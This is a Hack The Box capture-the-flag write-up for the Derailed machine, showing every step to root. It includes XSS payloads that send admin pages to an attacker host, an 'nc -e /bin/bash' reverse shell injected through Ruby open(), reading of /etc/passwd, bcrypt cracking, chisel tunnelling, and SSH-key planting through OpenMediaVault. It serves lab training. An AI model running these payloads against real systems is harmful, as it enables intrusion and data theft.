Information
Do you want Wrecked Badges?
Name | |
---|---|
Name | Derailed |
Release Date | 19 Nov 2022 |
OS | Linux |
Difficulty | Insane |
Vulnerabilities | Arbitrary File Read, Remote Code Execution, OS Command Injection, Buffer Overflow, Cross Site Scripting (XSS) |
Languages | Ruby, Web Assembly, PHP |
Enumeration
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
msplmee@kali:~$ nmap -p- --min-rate 10000 10.10.11.190 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-13 06:07 EDT
Nmap scan report for 10.10.11.190
Host is up (0.13s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 40.40 seconds
msplmee@kali:~$ nmap -p 22,3000 -sC -sV 10.10.11.190 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-13 06:09 EDT
Nmap scan report for 10.10.11.190
Host is up (0.090s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 1623b09ade0e3492cb2b18170ff27b1a (RSA)
| 256 50445e886b3e4b5bf9341dede52d91df (ECDSA)
|_ 256 0abd9223df44026f278da6abb4077837 (ED25519)
3000/tcp open http nginx 1.18.0
|_http-title: derailed.htb
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 19.47 seconds
The scan reveals ports 22 (SSH) and 3000 (HTTP) open.
Website - TCP 3000
I used feroxbuster
on the website and discovered an interesting page at /administrator
. I require an admin account to enter this page.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
msplmee@kali:~$ feroxbuster -u http://10.10.11.190:3000
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.190:3000
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 2w 9c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 128l 341w 4774c http://10.10.11.190:3000/
302 GET 1l 5w 91c http://10.10.11.190:3000/logout => http://10.10.11.190:3000/
200 GET 144l 381w 5592c http://10.10.11.190:3000/login
200 GET 153l 397w 5908c http://10.10.11.190:3000/register
404 GET 67l 181w 1722c http://10.10.11.190:3000/users
200 GET 67l 181w 1722c http://10.10.11.190:3000/404
302 GET 1l 5w 96c http://10.10.11.190:3000/administration => http://10.10.11.190:3000/login
200 GET 66l 165w 1635c http://10.10.11.190:3000/500
200 GET 67l 176w 1705c http://10.10.11.190:3000/422
404 GET 1l 3w 14c http://10.10.11.190:3000/cable
[####################] - 2m 30000/30000 0s found:10 errors:0
[####################] - 2m 30000/30000 247/s http://10.10.11.190:3000/
The HTTP response headers display the creation of a _simple_rails_session
cookie.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Wed, 13 Sep 2023 03:19:55 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin-when-cross-origin
Link: </packs/js/application-135b5cfa2df817d08f14.js>; rel=preload; as=script; nopush
ETag: W/"38ba62fb0518cd5074056c6f5abd189f"
Cache-Control: no-cache
Set-Cookie: _simple_rails_session=3bOCgUqzE%2Bt8HJgw2bnAwGV4HjyFMv9JEPc1BU0Q1JV%2Fm38KVQhHKE210yk3%2FyuRa3T%2FUYt4jzw0wieIp4Kcbw%2BKr7d4uiX2fhhVqgfvDC7gIvLQqIBfjRLbME6kxcJQ1c7nyGQ2UZy1ccBvB1yJRmmmreSbNO6%2BYeq3iArTuBEFKhn4y1nQ4MUsjowycAUbey%2FGPQoCdwfcMm2yzQq%2BYhc2PlMIzW9gQN%2B1eaL7y0FUZ2zPVkgZ2ksaKu5jYWBsweEvFnIcc8jjgyVlqAPmwjnZpNuxUBalZ6L5pTo%3D--nHTLnUNc5rnwGmvj--dsyTqgHp7BTz5%2FYNqS12jQ%3D%3D; path=/; HttpOnly; SameSite=Lax
X-Request-Id: 593c2acd-4b15-4223-949a-0d991c5ea655
X-Runtime: 0.013680
Expires: Wed, 13 Sep 2023 03:19:54 GMT
Content-Length: 4774
I also use the /rails/info/routes
path to display all the application’s routes. Feroxbuster
didn’t find it when using the default wordlist because /rails
results in a 404 error.
XSS against Admin
I think I need to perform a cross-site scripting (XSS) attack using the “report” form here. I try different XSS payloads, but it doesn’t work.
The next thing I can change is my name, but it seems secure. This might lead to a potential Cross-Site Scripting attack. To test my idea, I create a new account with the username <b>msplmee</b>
and post a new clipnote. Sadly, the code doesn’t run.
After checking the JavaScript code, I find that it retrieves notes from the /raw/:id
endpoint and sends them to the display()
function using ccall()
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
fetch('/clipnotes/raw/112')
.then(response => response.json())
.then(clipNote => {
loadClipNote(clipNote)
});
function loadClipNote(clipNote) {
window.clipNote = clipNote
"use strict";
let el = document.getElementById('editor');
el.style.minHeight = '400px';
let editor = null;
require(['vs/editor/editor.main'], function () {
editor = monaco.editor.create(el, {
theme: 'vs-light',
model: monaco.editor.createModel(clipNote.content, "markdown"),
readOnly: true,
fontSize: "18px",
roundedSelection: false,
scrollBeyondLastLine: false,
});
editor.layout();
});
// load some stats
let author = clipNote.author
let created = clipNote.created_at
Module.ccall(
"display",
"number",
["string", "string"],
[
created,
author
]
);
}
The display()
function is in display.wasm
. I put a breakpoint in the function to check what’s in $var0
and $var1
arguments.
I use the UTF8ToString()
function in the browser console to change these values into JavaScript strings. This reveals that the first argument holds the creation date, and the second argument holds the clipnote author.
The icon in the top right corner of the clipnote page lets you report notes that are not suitable for possible removal from the platform.
Once a report is sent, a message notifies us that an administrator will review it.
When I look closer, we see that the user registration form limits the username length to 40 characters.
1
2
3
4
<div class="form-floating mb-3">
<input maxlength="40" placeholder="Username" class="form-control" size="40" type="text" name="user[username]" id="user_username">
<label for="user_username">Username</label>
</div>
To check this, I utilize the Metasploit tool pattern_create
to create a 100-byte pattern.
1
2
msplmee@kali:~$ msf-pattern_create -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
I create a new clipnote after registering an account with a generated username.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /register HTTP/1.1
Host: 10.10.11.190:3000
Content-Length: 292
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.190:3000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.190:3000/register
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: _simple_rails_session=yN7wkslQl0F4LYKMcXjYCYbMtn8D9b30dVSZRG%2BCLGW4%2BobehZ2p7omErioxaiL5PJYLtb%2BH5kzS4jfFKy11uXIZK54Y%2F9Oz6owJ4C%2BNaxGnFyBCBiTfXyCcUuVSVkToUr%2B0muUrmu9Uik5UaYe4JG2mfqAkTXVK1W8wW0qPVkSm4am6oWvdF4S0cX04NYkgs5Od2W6RKc%2FQ5fVSoMnQZIoEPZyFF9r9Jgv0JQZv%2BfFTYafUqxewFEDA0NThrQnSawFhQscZcCISAoUXUvTYLmLKtfEEoLG5zRta24E%3D--1ahezN6HOQRsn86j--qFqpfkSHYOP92wb12IxqgQ%3D%3D
Connection: close
authenticity_token=A3P3TWtkxTrHRgFwvFr1tciA7jR_J9n5Q-ZJmmofiuT2xY50j_wvZxWa-t1Q7sZtkgn9ILtua61LeFgmbJ4ycw&user%5Busername%5D=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A&user%5Bpassword%5D=msplmee&user%5Bpassword_confirmation%5D=msplmee
The full username is there, and the created string is part of the username.
In fact, it’s 48 bytes into the username:
1
2
msplmee@kali:~$ msf-pattern_offset -q Ab6A
[*] Exact match at offset 48
I will create a username with 48 random characters, and then add a basic image tag with an XSS POC payload to trigger an alert. It’s work:
1
2
msplmee@kali:~$ python3 -c "print('A'*48+ \"<img src='#' onerror=alert(1)/>\")"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<img src='#' onerror=alert(1)/>
The complete name is displayed correctly, but the “created” time failed to load the image, and there’s a pop-up alert in the foreground with the message “1”!
I begin by fetching data from my server using the username.
1
2
msplmee@kali:~$ cat xss.js
echo "alert(1);"
1
2
msplmee@kali:~$ python3 -c "print('A'*48+ \"<img src='#' onerror=import('http://10.10.14.6/xss.js')>\")"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<img src='#' onerror=import('http://10.10.14.6/xss.js')>
When I log in, submit a note, and view it, there is a request on my server.
1
2
3
msplmee@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.6 - - [13/Sep/2023 07:38:15] "GET /xss.js HTTP/1.1" 200 -
Unfortunately, the console doesn’t show the contents, but there’s an error message:
I use http-server
with the --cors
option to avoid CORS policy issues.
1
2
3
4
5
6
7
8
msplmee@kali:~/HTB/Machine/Derailed$ http-server -p 80 --cors
Starting up http-server, serving ./
...
Available on:
http://10.10.14.6:80
Hit CTRL-C to stop the server
[2023-09-13T12:51:53.120Z] "GET /xss.js" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36"
Shell as rails
I want to see what the /administration
looks like. I create a JavaScript payload to fetch it and send it to me:
1
2
3
4
5
6
7
8
fetch("http://derailed.htb:3000/administration")
.then((resp) => resp.text())
.then((html) => {
fetch("http://10.10.14.6:9001/exfil", {
method: "POST",
body: html,
});
});
I save and resubmit the note for review. Then, I begin capturing POST requests on port 9001 with the page in the body. After one minute, there is a successful request.
1
2
3
msplmee@kali:~$ nc -lnvp 9001 > administration.html
listening on [any] 9001 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.190] 59824
I open the web page in my browser, and even without the CSS loading, I can still get a basic sense of the page.
The “Download” link is part of an HTML form, which is the interesting part.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<form method="post" action="/administration/reports">
<input
type="hidden"
name="authenticity_token"
id="authenticity_token"
value="GNWWxMDBw-Z50nWmTx6aqizDPKuLkeA987wFxx3DZWscmT4E5x30igEylZftYk580mfckm3xnnHtN1F79dN1bQ"
autocomplete="off"
/>
<input
type="text"
class="form-control"
name="report_log"
value="report_13_09_2023.log"
hidden
/>
<label class="pt-4"> 13.09.2023</label>
<button name="button" type="submit">
<i class="fas fa-download me-2"></i>
Download
</button>
</form>
I create a payload to fetch the log file via XSS, as intended. This program will access the /administration
page, retrieve the token, and then make a POST request to /administration/reports
to fetch the log file. The response will be sent to me via a POST.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
fetch("http://derailed.htb:3000/administration")
.then((resp) => resp.text())
.then((html) => {
let page = new DOMParser().parseFromString(html, "text/html");
let token = page.getElementById("authenticity_token").value;
console.log(token);
fetch("http://derailed.htb:3000/administration/reports", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
body: "authenticity_token=" + token + "&report_log=report_13_09_2023.log",
})
.then((resp) => resp.text())
.then((html) => {
console.log(html);
fetch("http://10.10.14.6:9001/", {
method: "POST",
body: html,
});
});
});
After saving this, I resubmit the report, and the file reaches my nc
server on port 9001, along with a log file displaying the note’s ID and the associated complaint.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
msplmee@kali:~$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.190] 45642
POST / HTTP/1.1
Host: 10.10.14.6:9001
Connection: keep-alive
Content-Length: 41
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/96.0.4664.45 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://derailed.htb:3000
Referer: http://derailed.htb:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
112,test
117,a
117,a
117,
117,
117,
117,
It’s possible that it’s attempting to open a file called report_19_07_2023.log
. I change my payload to read another file, like /etc/passwd
. I just update the report_log parameter in the request, and when I submit the report again, passwd is sent to nc
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
msplmee@kali:~$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.190] 56576
POST / HTTP/1.1
Host: 10.10.14.6:9001
Connection: keep-alive
Content-Length: 2084
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/96.0.4664.45 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://derailed.htb:3000
Referer: http://derailed.htb:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
root:x:0:0:root:/root:/bin/bash
...
openmediavault-webgui:x:999:996:Toby Wright,,,:/home/openmediavault-webgui:/bin/bash
admin:x:998:100:WebGUI administrator:/home/admin:/usr/sbin/nologin
openmediavault-notify:x:997:995::/home/openmediavault-notify:/usr/sbin/nologin
systemd-timesync:x:994:994:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:993:993:systemd Core Dumper:/:/usr/sbin/nologin
rails:x:1000:100::/home/rails:/bin/bash
_laurel:x:996:992::/var/log/laurel:/bin/false
marcus:x:1001:1002:,,,:/home/marcus:/bin/bash
I get a list of controllers and their functions for each path on the server from the /rails/info/routes
path.
I think I’ll find the admin controller at app/controllers/admin_controller.rb
. I’ll change the POST body to report_log=/proc/self/cwd/app/controllers/admin_controller.rb
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class AdminController < ApplicationController
def index
if !is_admin?
flash[:error] = "You must be an admin to access this section"
redirect_to :login
end
@report_file = helpers.get_report_file()
@files = Dir.glob("report*log")
p @files
end
def create
if !is_admin?
flash[:error] = "You must be an admin to access this section"
redirect_to :login
end
report_log = params[:report_log]
begin
file = open(report_log)
@content = ""
while line = file.gets
@content += line
end
send_data @content, :filename => File.basename(report_log)
rescue
redirect_to request.referrer, flash: { error: "The report was not found." }
end
end
end
The code above indicates that the report_log
parameter’s contents are sent directly to open
. Since I have control over it, if I start the file path with a |
, it will execute what comes after it.
I change the POST body to report_log=| nc 10.10.14.6 443 -e /bin/bash;
. I trigger the XSS again, and when it works, a shell connects to port 443.
1
2
3
4
5
6
7
msplmee@kali:~$ pwncat-cs -l -p 443
[09:51:51] Welcome to pwncat 🐈!
[09:52:26] received connection from 10.10.11.190:60406
(local) pwncat$
(remote) rails@derailed:/var/www/rails-app$ cd
(remote) rails@derailed:/home/rails$ cat user.txt
584*****************************
I see rails
in the ssh group.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
(remote) rails@derailed:/home/rails$ id
uid=1000(rails) gid=1000(rails) groups=1000(rails),100(users),113(ssh)
(remote) rails@derailed:/home/rails$ cat /etc/ssh/sshd_config
Protocol 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key
HostKey /etc/ssh/ssh_host_ed25519_key
SyslogFacility AUTH
LogLevel INFO
LoginGraceTime 120
StrictModes yes
IgnoreRhosts yes
HostbasedAuthentication no
PermitEmptyPasswords no
ChallengeResponseAuthentication no
X11Forwarding yes
X11DisplayOffset 10
PrintMotd no
PrintLastLog yes
TCPKeepAlive yes
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
UsePAM yes
AllowGroups root ssh
AddressFamily any
Port 22
PermitRootLogin yes
AllowTcpForwarding no
Compression no
PasswordAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 /var/lib/openmediavault/ssh/authorized_keys/%u
PubkeyAuthentication yes
I see it also has AllowTcpForwarding no
so I can’t use SSH tunneling. I add my public key to the authorized_keys
file and set the permissions correctly.
1
2
(remote) rails@derailed:/home/rails/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCyg...3DLtYM= kali@kali" > authorized_keys
(remote) rails@derailed:/home/rails/.ssh$ chmod 600 authorized_keys
Now I can connect via ssh
1
2
3
4
msplmee@kali:~/.ssh$ ssh -i id_rsa rails@10.10.11.190
The authenticity of host '10.10.11.190 (10.10.11.190)' can't be established.
...
rails@derailed:~$
Shell as openmediavault-webgui
Nginx is hosting two sites
1
2
rails@derailed:/etc/nginx/sites-enabled$ ls
openmediavault-webgui rails-app.conf
The rails-app.conf
file displays a listener on port 3000 that forwards traffic to Rails on port 3003.
1
2
3
4
5
6
7
8
9
10
11
12
rails@derailed:/etc/nginx/sites-enabled$ cat rails-app.conf
server {
listen 3000;
server_name derailed.htb;
location / {
proxy_pass http://derailed.htb:3003;
gzip off;
expires -1;
}
}
The openmediavault-webgui
is listening on localhost only, port 80:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
rails@derailed:/etc/nginx/sites-enabled$ cat openmediavault-webgui
# This file is auto-generated by openmediavault (https://www.openmediavault.org)
# WARNING: Do not edit this file, your changes will get lost.
server {
server_name openmediavault-webgui;
root /var/www/openmediavault;
index index.html;
autoindex off;
server_tokens off;
sendfile on;
large_client_header_buffers 4 32k;
client_max_body_size 25M;
error_log /var/log/nginx/openmediavault-webgui_error.log error;
access_log /var/log/nginx/openmediavault-webgui_access.log combined;
error_page 404 = $scheme://$host:$server_port/#/404;
location / {
try_files $uri $uri/ =404;
}
location ~* \.json$ {
expires -1;
}
location ~* \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/run/php/php7.4-fpm-openmediavault-webgui.sock;
fastcgi_index index.php;
fastcgi_read_timeout 60s;
include fastcgi.conf;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
#listen *:80 default_server;
listen 127.0.0.1:80 default_server;
include /etc/nginx/openmediavault-webgui.d/*.conf;
}
There are three folders in /var/www
: html
contains the default Debian nginx page, rails-app
holds the clipnotes application, and openmediavault
appears to be a similar instance.
1
2
rails@derailed:/var/www$ ls
html openmediavault rails-app
In the rails-app/db
folder, there is an SQLite database with a few tables.
1
2
3
4
5
6
7
8
rails@derailed:/var/www/rails-app/db$ ls
development.sqlite3 migrate schema.rb
rails@derailed:/var/www/rails-app/db$ sqlite3 development.sqlite3
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .tables
ar_internal_metadata reports users
notes schema_migrations
Apart from my submission, there are two more users: tody and alice.
1
2
3
4
5
6
7
8
9
10
11
12
sqlite> select * from users;
1|alice|$2a$12$hkqXQw6n0CxwBxEW/0obHOb.0/Grwie/4z95W3BhoFqpQRKIAxI7.|administrator|2022-05-30 18:02:45.319074|2022-05-30 18:02:45.319074
2|toby|$2a$12$AD54WZ4XBxPbNW/5gWUIKu0Hpv9UKN5RML3sDLuIqNqqimqnZYyle|user|2022-05-30 18:02:45.542476|2022-05-30 18:02:45.542476
105|msplmee|$2a$12$caMXDyG2cRPNW.NjRDuToOjpaupaLGTHk/.y5Do.x1Lw40x/sm7Wa|user|2023-09-13 03:44:45.207529|2023-09-13 03:44:45.207529
106|msplmee<b>msplmee</b>|$2a$12$tik6SVsW79fqIGDTRfHfxOWJVAsYH0SehwX7mbdu6PaN6US295hJy|user|2023-09-13 03:47:57.278802|2023-09-13 03:47:57.278802
107|Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A|$2a$12$9A7dGoEN8c9F/KD.WI5xX.KyJn7vSHtA8TdYHLM2qjkzCmLWp4Z1C|user|2023-09-13 04:24:10.394917|2023-09-13 04:24:10.394917
108|Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A|$2a$12$Ncp8I2Dw1iu8ye9U5Ezk0uiQmyrJaBbGvumjBPuqZpQwnQDiStTXq|user|2023-09-13 04:24:19.237797|2023-09-13 04:24:19.237797
109|msplmee@kali:~$ python3 -c "print('A'*48+ \"<img src=x onerror=alert(1)/>\")"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<img src=x onerror=alert(1)/>|$2a$12$LzWoOovwTXxfop7AQ6gkeeehZAIR7kEULYDA4MY8vbDz5Q0WPUScS|user|2023-09-13 04:34:03.928995|2023-09-13 04:34:03.928995
110|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<img src=x onerror=alert(1)/>|$2a$12$fd91s1GS/9Ds7GGVb0uCYuDzjSrSQ5q5TXqR8nGCniM7S1yFuu/4a|user|2023-09-13 04:34:36.432977|2023-09-13 04:34:36.432977
111|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<img src='#' onerror=alert(1)/>|$2a$12$PCxL1lRlc4MmtAZo4xUtYu.aWhNnQeC9SPSu9LEyYiYuknvvG4EYq|user|2023-09-13 04:40:41.581708|2023-09-13 04:40:41.581708
112|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<img src='#' onerror="fetch('http://10.10.14.6/xss.js').then(r => r.text()).then(t => {eval(t)});" />|$2a$12$mDRkV0rUXHEvk9bus0cLHe95Nq4nmQRqzAEhH90Stk5RDt7JTuRqu|user|2023-09-13 04:53:59.999806|2023-09-13 04:53:59.999806
Toby’s hash is quickly cracked as greenday
.
1
2
3
4
msplmee@kali:~$ hashcat hash /usr/share/wordlists/rockyou.txt --user -m 3200
hashcat (v6.2.6) starting
...
$2a$12$AD54WZ4XBxPbNW/5gWUIKu0Hpv9UKN5RML3sDLuIqNqqimqnZYyle:greenday
When I checked for password reuse, I found that the same password could be used to access the openmediavault-webgui user.
1
2
3
4
rails@derailed:/home$ su openmediavault-webgui
Password:
openmediavault-webgui@derailed:/home$ id
uid=999(openmediavault-webgui) gid=996(openmediavault-webgui) groups=996(openmediavault-webgui),998(openmediavault-engined),999(openmediavault-config)
Shell as root
I’d like to check openmediavault. I’ve noticed it’s on port 80 on localhost, and I can’t use SSH tunnel. I’ll upload Chisel.
I start the server on my VM.
1
2
3
4
5
msplmee@kali:~$ ./chisel_1.9.1_linux_amd64 server -p 8000 --reverse
2023/09/13 10:39:39 server: Reverse tunnelling enabled
2023/09/13 10:39:39 server: Fingerprint cQmKk8xWLqhZn+sTzVnfzbjAS3ZZTFMbYZMKw587xyA=
2023/09/13 10:39:39 server: Listening on http://0.0.0.0:8000
2023/09/13 10:40:03 server: session#1: tun: proxy#R:8888=>localhost:80: Listening
And connect back to it:
1
2
3
openmediavault-webgui@derailed:/tmp$ ./chisel_1.9.1_linux_amd64 client 10.10.14.6:8000 R:8888:localhost:80
2023/09/13 04:16:19 client: Connecting to ws://10.10.14.6:8000
2023/09/13 04:16:20 client: Connected (Latency 90.018339ms)
I have a tunnel from port 8888 on my computer to port 80 on Derailed. The webpage shows a login form:
The passwords I tried didn’t work. However, the FAQ has a guide on how to reset the password. I used /sbin/omv-firstaid
and followed the steps, and now I can log in.
This interface has many ways to privesc.
Openmediavault also has an RPC component. You can find the omv-rpc
tool in the documentation, in the same section as omv-confdbadm
.
OpenMediaVault stores SSH keys for system users to enable NAS access. You can find a user’s section in config.xml. There is a user’s section in config.xml:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<users>
<!--
<user>
<uuid>xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx</uuid>
<name>xxx</name>
<email>xxx</email>
<disallowusermod>0</disallowusermod>
<sshpubkeys>
<sshpubkey>|xxx</sshpubkey>
</sshpubkeys>
</user>
-->
<user>
<uuid>30386ffe-014c-4970-b68b-b4a2fb0a6ec9</uuid>
<name>rails</name>
<email></email>
<disallowusermod>0</disallowusermod>
<sshpubkeys></sshpubkeys>
</user>
<user>
<uuid>e3f59fea-4be7-4695-b0d5-560f25072d4a</uuid>
<name>test</name>
<email></email>
<disallowusermod>0</disallowusermod>
<sshpubkeys></sshpubkeys>
</user>
</users>
I use the ssh-keygen command to convert a regular public key into the RFC 4716 format.
1
2
3
4
5
6
msplmee@kali:~$ ssh-keygen -e -f ~/.ssh/id_rsa.pub
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "3072-bit RSA, converted by kali@kali from OpenSSH"
AAAAB3NzaC1yc2EAAAADAQABAAABgQCygxvpS/zrFojfSrn+lF39LdHrxBf7IobL7xGP3x
...
---- END SSH2 PUBLIC KEY ----
I modify the test user, change the name to “root,” and insert a key.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<users>
<!--
<user>
<uuid>xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx</uuid>
<name>xxx</name>
<email>xxx</email>
<disallowusermod>0</disallowusermod>
<sshpubkeys>
<sshpubkey>|xxx</sshpubkey>
</sshpubkeys>
</user>
-->
<user>
<uuid>30386ffe-014c-4970-b68b-b4a2fb0a6ec9</uuid>
<name>rails</name>
<email></email>
<disallowusermod>0</disallowusermod>
<sshpubkeys></sshpubkeys>
</user>
<user>
<uuid>e3f59fea-4be7-4695-b0d5-560f25072d4a</uuid>
<name>root</name>
<email></email>
<disallowusermod>0</disallowusermod>
<sshpubkeys>
<sshpubkey>
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "3072-bit RSA, converted by kali@kali from OpenSSH"
AAAAB3NzaC1yc2EAAAADAQABAAABgQCygxvpS/zrFojfSrn+lF39LdHrxBf7IobL7xGP3x
...
---- END SSH2 PUBLIC KEY ----
</sshpubkey>
</sshpubkeys>
</user>
</users>
I check if it went in correctly by using omv-confdbadm
and reading it back.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
openmediavault-webgui@derailed:~$ /sbin/omv-confdbadm read --prettify conf.system.usermngmnt.user
[
{
"disallowusermod": false,
"email": "",
"name": "rails",
"sshpubkeys": {
"sshpubkey": []
},
"uuid": "30386ffe-014c-4970-b68b-b4a2fb0a6ec9"
},
{
"disallowusermod": false,
"email": "",
"name": "root",
"sshpubkeys": {
"sshpubkey": [
"---- BEGIN SSH2 PUBLIC KEY ----\nComment: \"3072-bit RSA, converted by kali@kali from OpenSSH\"\nAAAAB3NzaC1yc2EAAAADAQABAAABgQCygxvpS...---- END SSH2 PUBLIC KEY ----\n"
]
},
"uuid": "e3f59fea-4be7-4695-b0d5-560f25072d4a"
}
]
To make it work, I require the SSH module to refresh. I use the config RPC to reload the SSH module.
1
2
openmediavault-webgui@derailed:~$ /usr/sbin/omv-rpc -u admin "config" "applyChanges" "{ \"modules\": [\"ssh\"], \"force\": true }"
null
After it’s done, I can use my key to log in as root
1
2
3
4
5
6
7
8
msplmee@kali:~/.ssh$ ssh -i id_rsa root@10.10.11.190
Linux derailed 5.19.0-0.deb11.2-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.19.11-1~bpo11+1 (2022-10-03) x86_64
...
permitted by applicable law.
root@derailed:~# id
uid=0(root) gid=0(root) groups=0(root)
root@derailed:~# cat root.txt
511*****************************